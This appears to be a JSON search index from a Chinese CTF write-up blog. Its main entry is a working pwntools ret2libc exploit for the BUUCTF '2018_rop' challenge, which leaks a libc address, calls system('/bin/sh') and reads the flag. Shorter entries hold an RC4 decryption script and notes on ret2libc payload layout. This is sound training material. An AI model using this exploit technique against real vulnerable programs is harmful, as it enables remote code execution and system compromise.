pwn import * from LibcSearcher import LibcSearcher context(arch=\u0026#39;i386\u0026#39;, os=\u0026#39;linux\u0026#39;, log_level=\u0026#39;debug\u0026#39;) io = connect(\u0026#39;node5.buuoj.cn\u0026#39;,29724) # 与在线环境交互。 #_______________需要用到的地址区包括offset_____________________ leak_func = 0x08048474 main_addr = 0x080484C6 offset1 = 0x88 + 4 #_______________________________________________________ local_file = (\u0026#39;./2018_rop\u0026#39;) elf = ELF(local_file) #———————————————payload1———————————————————————————————— #payload1 = b\u0026#39;a\u0026#39; * offset1 + #io.sendline(payload1) #——————————————libcsearcher前置—————————————————————————————————— write_plt=elf.plt[\u0026#34;write\u0026#34;] write_got=elf.got[\u0026#34;write\u0026#34;] print(\u0026#34;write_got\u0026#34;,write_got) print(\u0026#34;write_plt\u0026#34;,write_plt) payload = b\u0026#39;A\u0026#39; * offset1 + p32(write_plt) + p32(leak_func) + p32(1) + p32(write_got) + p32(4) io.send(payload) leak = u32(io.recv(4).strip()) #(u32(io.recvline()[:-1])) print(hex(leak)) libc = LibcSearcher(\u0026#39;write\u0026#39;, leak) libc_base = leak - libc.dump(\u0026#39;write\u0026#39;) system = libc_base + libc.dump(\u0026#39;system\u0026#39;) binsh = libc_base + libc.dump(\u0026#39;str_bin_sh\u0026#39;) print(\u0026#34;system\u0026#34;,system) print(\u0026#34;binsh\u0026#34;,binsh) #——————————————————————————libcsearcher———————————————————— #io.recvline() #io.recvline() #puts_addr = u64(io.recvline().strip().ljust(8, b\u0026#39;\\x00\u0026#39;)) #print(hex(puts_addr)) #i=1 #while (i==1): # libc = LibcSearcher(\u0026#39;puts\u0026#39;, puts_addr) # libc_base = puts_addr - libc.dump(\u0026#39;puts\u0026#39;) # system_addr = libc_base + libc.dump(\u0026#39;system\u0026#39;) # bin_sh_addr = libc_base + libc.dump(\u0026#39;str_bin_sh\u0026#39;) # print(f\u0026#34;bin_sh_addr: {hex(bin_sh_addr)}\u0026#34;) # print(f\u0026#34;system_addr: {hex(system_addr)}\u0026#34;) # if system_addr\u0026lt;0 or bin_sh_addr\u0026lt;0: # i=1 # print(\u0026#34;有小于0的地址\u0026#34;) # else: # i=0 #————————————————————payload2—————————————————————————— #io.sendlineafter(\u0026#34;Input your choice!\u0026#34;,payload1) payload3 = b\u0026#39;a\u0026#39; * offset1 + p32(system) + p32(0xdeadbeaf) + p64(binsh) io.sendline(payload3) #————————————————————如果正常的话就会自动出flag———————————————————————————— io.sendline(\u0026#39;ls\u0026#39;) io.sendline(\u0026#39;cat flag\u0026#39;) io.interactive() ","date":"January 10, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%B8%80%E9%A1%B5/%E9%93%81%E4%BA%BA%E4%B8%89%E9%A1%B9%E7%AC%AC%E4%BA%94%E8%B5%9B%E5%8C%BA_2018_rop-wp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1768003200,"title":"铁人三项(第五赛区)_2018_rop    wp"},{"categories":[{"title":"Reverse","url":"/categories/reverse/"}],"content":"import base64\ndef rc4_decrypt(cipher_data, key_bytes):\n\u0026quot;\u0026quot;\u0026quot;\nRC4 解密函数（严格匹配反汇编逻辑）\n:param cipher_data: 密文（bytes类型）\n:param key_bytes: 原始16字节密钥（bytes类型）\n:return: 明文（bytes类型）\n\u0026quot;\u0026quot;\u0026quot; # === 1. RC4 KSA 阶段（对应 sub_1400015D0） === S = list(range(256)) # 对应 byte_140013140（S盒）\nj = 0\nkey_len = len(key_bytes) # 固定为16\n# 模拟反汇编中\u0026quot;循环填充密钥+S盒置换\u0026quot;逻辑 for i in range(256): # 反汇编：byte_140013040[n256] = Str[n256 % 16] key_byte = key_bytes[i % key_len] # 反汇编：v2 = (unsigned __int8)(v2 + v4 + *v3++) j = (j + S[i] + key_byte) % 256 # 交换 S[i] 和 S[j] S[i], S[j] = S[j], S[i] # === 2. RC4 PRGA 阶段（对应 sub_140001670） === i = 0 j = 0 plain_bytes = [] for byte in cipher_data: i = (i + 1) % 256 v7 = S[i] j = (j + v7) % 256 S[i], S[j] = S[j], S[i] t = (S[i] + v7) % 256 keystream_byte = S[t] # 异或解密（核心操作） plain_byte = byte ^ keystream_byte plain_bytes.append(plain_byte) return bytes(plain_bytes) def parse_cipher_input(input_str, input_type):\n\u0026ldquo;\u0026ldquo;\u0026ldquo;解析密文输入为bytes（兼容多格式）\u0026rdquo;\u0026rdquo;\u0026rdquo;\ntry:\nif input_type == 1:\n# 十六进制字符串（支持0x前缀/空格）\ninput_str = input_str.strip().replace(\u0026ldquo;0x\u0026rdquo;, \u0026ldquo;\u0026rdquo;).replace(\u0026quot; \u0026ldquo;, \u0026ldquo;\u0026rdquo;)\nreturn bytes.fromhex(input_str)\nelif input_type == 2:\n# Base64编码\nreturn base64.b64decode(input_str)\nelif input_type == 3:\n# UTF-8字符串\nreturn input_str.encode(\u0026ldquo;utf-8\u0026rdquo;)\nelif input_type == 4:\n# GBK字符串（兼容中文）\nreturn input_str.encode(\u0026ldquo;gbk\u0026rdquo;)\nelse:\nraise ValueError(\u0026ldquo;无效的输入类型\u0026rdquo;)\nexcept Exception as e:\nraise RuntimeError(f\u0026quot;密文解析失败：{str(e)}\u0026rdquo;)\nif name == \u0026ldquo;main\u0026rdquo;:\n# ===================== 核心：原始16字节密钥 ===================== # 对应反汇编中的 string2 原始密钥：26 26 E8 48 54 46 18 97 43 A9 46 9A 37 D0 0F 13\nRC4_KEY_BYTES = bytes.fromhex(\u0026ldquo;26 26 E8 48 54 46 18 97 43 A9 46 9A 37 D0 0F 13\u0026rdquo;)\nprint(\u0026quot;=== RC4 解密工具（精准匹配反汇编密钥） ===\u0026quot;) print(\u0026quot;密文输入类型：\u0026quot;) print(\u0026quot;1 - 十六进制字符串（例：9a0f8e14b93b87081e89）\u0026quot;) print(\u0026quot;2 - Base64 编码字符串（例：maq+FLk7hwh6iQ==）\u0026quot;) print(\u0026quot;3 - 原始字符串（UTF-8 编码）\u0026quot;) print(\u0026quot;4 - 原始字符串（GBK 编码）\u0026quot;) # 获取输入类型（防错） while True: try: input_type = int(input(\u0026quot;\\n请选择密文类型（1-4）：\u0026quot;)) if input_type not in [1, 2, 3, 4]: print(\u0026quot;请输入1-4之间的数字！\u0026quot;) continue break except ValueError: print(\u0026quot;请输入有效数字！\u0026quot;) # 获取密文内容 cipher_input = input(\u0026quot;请输入密文内容：\u0026quot;).strip() # 执行解密 try: cipher_data = parse_cipher_input(cipher_input, input_type) plain_data = rc4_decrypt(cipher_data, RC4_KEY_BYTES) # 多编码输出明文（避免乱码） print(\u0026quot;\\n=== 解密结果 ===\u0026quot;) print(f\u0026quot;明文（原始bytes）：{plain_data}\u0026quot;) # 尝试常见编码解码 for encoding in [\u0026quot;utf-8\u0026quot;, \u0026quot;gbk\u0026quot;, \u0026quot;latin-1\u0026quot;, \u0026quot;ascii\u0026quot;]: try: print(f\u0026quot;明文（{encoding} 解码）：{plain_data.decode(encoding)}\u0026quot;) except (UnicodeDecodeError, LookupError): continue print(f\u0026quot;明文（十六进制）：{plain_data.hex()}\u0026quot;) except Exception as e: print(f\u0026quot;\\n解密失败：{str(e)}\u0026quot;) ","date":"December 17, 2025","img":"","lang":"en","langName":"","largeImg":"","permalink":"/reverse/zjpcctf/rc4/111/","smallImg":"","tags":[{"title":"Reverse","url":"/tags/reverse/"}],"timestamp":1765929600,"title":"rc4"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"payload: padding1 + address of system() + padding2 + address of “/bin/sh”\npadding1 处的数据可以随意填充（注意不要包含 “\\x00” , 否则向程序传入溢出数据时会造成截断） 长度应该刚好覆盖函数的基地址 padding2 处的数据长度为4（32位机），对应调用 system() 时的返回地址。 因为我们在这里只需要打开 shell 就可以，并不关心从 shell 退出之后的行为，所以 padding2 的内容可以随意填充。 p64(elf.got['puts']): 参数1 - puts函数的GOT表地址\np64(elf.sym['puts']): 调用puts函数，泄露GOT表中的真实地址\np64(elf.sym['main']): 返回到main函数，以便二次利用\n","date":"December 15, 2025","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%B8%80%E9%A1%B5/buu-newstarctf--ret2lbic25.12.15/return2libc/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1765756800,"title":"return2libc"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"system 在Linux中，system()函数调用后，传入的参数（如\u0026quot;/bin/sh\u0026quot;字符串地址）通常存储在RDI寄存器中。\n","date":"December 12, 2025","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%B8%80%E9%A1%B5/buu-newstarctf--ret2lbic25.12.15/%E5%87%BD%E6%95%B0%E8%B0%83%E7%94%A8%E5%AF%84%E5%AD%98%E5%99%A8%E8%A7%84%E5%88%99/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1765497600,"title":"函数调用寄存器规则"},{"categories":[],"content":"这里展示首页右侧看板对应的真实数据。文章、题解、分类、友链和最近发布都会在每次构建时自动刷新。\n","date":"January 1, 1","img":"","lang":"en","langName":"","largeImg":"","permalink":"/insights/","smallImg":"","tags":[],"timestamp":-62135596800,"title":"站点看板"}]
